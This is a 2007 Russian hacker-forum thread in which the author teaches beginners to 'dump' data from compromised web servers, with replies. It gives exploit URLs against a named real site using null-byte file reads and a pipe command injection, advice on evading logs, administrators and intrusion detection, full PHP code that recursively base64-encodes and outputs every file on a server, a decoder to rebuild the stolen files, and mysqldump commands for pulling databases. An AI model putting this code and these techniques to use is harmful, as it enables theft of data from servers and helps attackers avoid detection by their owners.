Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Дампим. Введение. (https://forum.antichat.xyz/showthread.php?t=34834)

Talisman 06.03.2007 21:00

Дампим. Введение.
 
Ну вот, взлом завершился удачно, точнее он еще завершился? Рут есть, а как думаешь инфу дампить будешь? Конечно, если ты это умеешь, то статья не для тебя, я в ней хочу рассказать о некоторых идеях и методах дампа - воистину святого слова!
Эта статья нацелена на начинающих дамперов - будем рассматривать дамп с веб-серверов, в принципе, от реального дампа сервера он почти ничем не отличается.
Большинство начинающих взломщиков опускают руки, когда на шелле видят почти всё большинство вкусных функций продизейбленными)
Итак, какие хорошие функции PHP нам могут вырубить?
во первых - системные вызовы, чтобы мы не могли юзать архиваторы ОС сервера.
Сейчас я хочу рассказать о двух принципиально различных видах дампа:
  1. когда дампер заливаем на сервер
  2. когда дампим через какую-нибудь багу (например, текстовый инклуд)
В первом случае мы добиваемся залития нашего кода в исполняемую диру на сервер - например какой-нибудь шелл, поддерживающий дамп. Самый лучший метод, хотя более палевный.
Плюсы:
  • более быстрый метод
  • с легкостью дампятся файлы любого типа
Минусы:
  • Возможный непреодолимый таймлимит на выполнение
  • палится наличие файла (если не инклудим дампер в память)
Подводные камни:
  • на время отдачи (можно решить скоростью скачки)
  • ну и более жестоко - размер отдаваемого содержимого, приходится разбивать на "партии"
Во втором случае (например - текстовый инклуд) нам нужно юзать дампер-клиент, который сам будет составлять запросы, обращаться к баге, и выдирать содержимое файла. Более медленный, менее палевный (смотря как посылать запросы - постом или гетом, не стоит ли идс на нагрузку к скриптам (например, быстро палится через веб-статистику))
Плюсы:
  • Пофиг на таймлимиты
  • более частая ошибка (хотя спорно)
  • связанных с БД таких ошибок больше.
  • более удобный интерфейс админки - можно подгружать только то, что нужно
Минусы:
  • Палится в логах (елси юзать гет - куча записей обращений) ну и в менеджерах статистики - пиковая нагрузка, даже если юзаем POST
  • сложнее в реализации
  • не всегда удобно(даже можно) дампить все типы файлов
  • иногда возникают значительные проблемы с перекодировкой
Подводные камни:
  • жестокие админы, непрерывно зырящие логи
  • "антидос" системы, тогда заметно снижается скорость... (
Теперь подробнее о методах реализации первого метода: из его описания должно быть все понятно - или возможность залить исполняемый код на сервер, или его проинклудить/исполнить.

Второй способ более красивый и частонаблюдаемый:
  • инъекция кода запроса к бд
  • ну и тупые инклудинги файлов (будь то новости и т.д.)
Но из-за некоторых сложностей в реализации большинство начинающих крякеров идут лесом, максимум что делают - пытаются надыбать конфиги форума, сайта... очень часто это помогает для дальнейшего проникновения и перехода к первому случаю.
Теперь примерчики ко 2му случаю:
типичная ошибка - открытие файла(будь то результаты голосования), как например тут:
Код:

http://www.neogame.ru/cgi-bin/vote/vote.pl?action=show&id=vote.pl%00

вместо:
Код:

http://www.neogame.ru/cgi-bin/vote/vote.pl?action=show&id=14-08-2005

тут использована типичная ошибка нулевого байта :)
ЗЫ тут специально опускаем фичу с вертикальной палкой:
Код:

http://www.neogame.ru/cgi-bin/vote/vote.pl?action=show&id=|ls%00
- просто выполняем команду :))) т.е. можем перейти к 1 случаю.
аналогичные ошибки допускаются и в пхп-сценариях.
ну и классика - майсекл, статей полно, поэтому просто приведу ссылки: http://forum.antichat.ru/thread28461...%EF%E5%F0.html - очень вкусная вещь от Elekt

Вкусности:
http://forum.antichat.ru/thread32196...%EF%E5%F0.html - отличный дампер майсекл
ну и чтоб статья не была голословной по поводу самописок в первом случае - вот код дампера:
ЗЫ работает даже почти при всех продизейбленных функциях, что есть гуд.
PHP код:

<?php
  
function scan_dir($dirname
  { 
 echo 
base64_encode($dirname.';').';';
    GLOBAL 
$text$retext
    
$dir opendir($dirname); 
    while ((
$file readdir($dir)) !== false
    { 
      if(
$file != "." && $file != ".."
      { 
      if(
is_file($dirname."/".$file)) 
        { 
        
$f fopen($dirname.'/'.$file,"r");
        
$out=fread($f,filesize($dirname."/".$file));
        
fclose ($f);
        echo 
base64_encode($dirname.'/'.$file.';'.base64_encode($out)).';';
        } 
        if(
is_dir($dirname."/".$file)) 
        { 
          
scan_dir($dirname."/".$file); 
        } 
      } 
    } 
    
closedir($dir); 
  }
  
scan_dir('..');
?>

а вот декодер полученного дампа:
PHP код:

<?
set_time_limit
(0);
$datafile=file('data.txt');
$data='';
foreach(
$datafile as $dataline)
{
  
$data.=$dataline;
}
$files=explode(';',$data);
foreach(
$files as $bf)
{
          list(
$path,$out)=explode(";"base64_decode($bf));
          
$q=strpos(base64_decode($bf),';');
          
$path=substr(base64_decode($bf),0,$q);
          
$out=substr(base64_decode($bf),$q+1);
          
$path=substr($path,3);
echo 
$path;
        if(
$out=='')
        { 
        
mkdir('mai/2/'.$path);
}else{
        echo 
'mai/2/'.$path;
        
$f fopen('mai/2/'.$path,"a");
        
fputs ($f,$out);
        
fclose ($f);
        }

}
?>

идея элементарная - рекурсивно проходимся по директориям веб-сервера, при заходе в директорию добавляем в дамп ее имя закодированной бейс64 (для надежности :) ) ну и если в директории есть файлы, выводим имя файла; дамп файла тоже в бейс 64.
Ну а декодер проделывает все в обратном порядке)

Отмазки: за то, как вы это используете я не отвечаю и отвечать не буду. Код предоставлен как есть :) ну и статья - повод для размышлений.

flipper 06.03.2007 21:14

Что бы базу слить можно в консоли набрать:
mysqldump -uroot imyaBD > imyaBD.sql
Если рут есть, или если прав хватает...

Talisman 06.03.2007 21:45

2 flipper:
да) логическая ошибка - в начале спрашиваю про рут, а потом напоминаю про дизабленные функции.
просто если уже есть рут, то дамп - не проблема как правило, главное синтаксис знать:)

guest3297 06.03.2007 23:20

черный на темно срером...
не видно не фига отредактируй цвет шрифта...

Talisman 06.03.2007 23:37

спс, не заметил... у меня моник отлично выделяет просто :)

guest3297 07.03.2007 00:10

если база весит 4-5гигов то поможет только
mysqldump -uuser -ppass base.table > dump.sql

DRON-ANARCHY 07.03.2007 21:59

если база весит 4-5гигов а у вас мопед, то уже ниче не поможет)

guest3297 07.03.2007 22:03

поможет win/nix дедик.

+toxa+ 07.03.2007 22:04

2 DRON-ANARCHY
поможет волшебная связка tar+gzip +)

guest3297 07.03.2007 22:09

у каждого свои способы....


Время: 00:50